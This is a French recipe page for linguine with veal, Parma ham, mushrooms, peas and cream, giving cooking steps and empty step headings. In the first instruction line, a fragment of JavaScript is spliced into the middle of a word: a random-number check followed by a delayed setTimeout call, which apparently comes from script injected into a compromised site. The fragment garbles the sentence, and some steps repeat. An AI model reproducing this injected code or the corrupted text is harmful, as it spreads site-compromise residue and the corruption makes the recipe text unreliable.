Linguines avec du veau / parme / légumes
2018-02-19Émincez les tranches de jambon de parme. Découpez la viandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande de veau en petits dés.
Ingrédients
Émincez les tranches de jambon de parme. Découpez la viande de veau en petits dés.
Pelez, Coupez-les gousses d'ail en deux. Ôtez le germe et les écraser. Pelez, émincez l'oignon.
Dans une cocotte avec 2 cuillères à soupe d'huile d'olive, sur feu moyen, faites suer l'ail, l'oignon, tout en remuant. Activez le feu ajoutez les champignons et faites les cuire pendant 15 minutes, incorporez le jambon de parme. Flambez avec le cognac.
Incorporez les petits pois et laissez cuire par petits frémissements pendant 10 minutes. Incorporez la crème fleurette continuez la cuisson pendant 10 minutes sur feu doux.
Dans une cocotte avec 2 cuillères à soupe d'huile d'olive sur feu vif, faites rissoler la viande de veau en la retournant souvent, salez, poivrez.
Incorporez les légumes / la crème /. Laissez mijoter pendant 5 minutes. Dans une casserole d'eau bouillante salée, plongez les linguines en respectant le temps de cuisson indiqué sur le paquet. Égouttez. Dégustez avec des copeaux de parmesanPréparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
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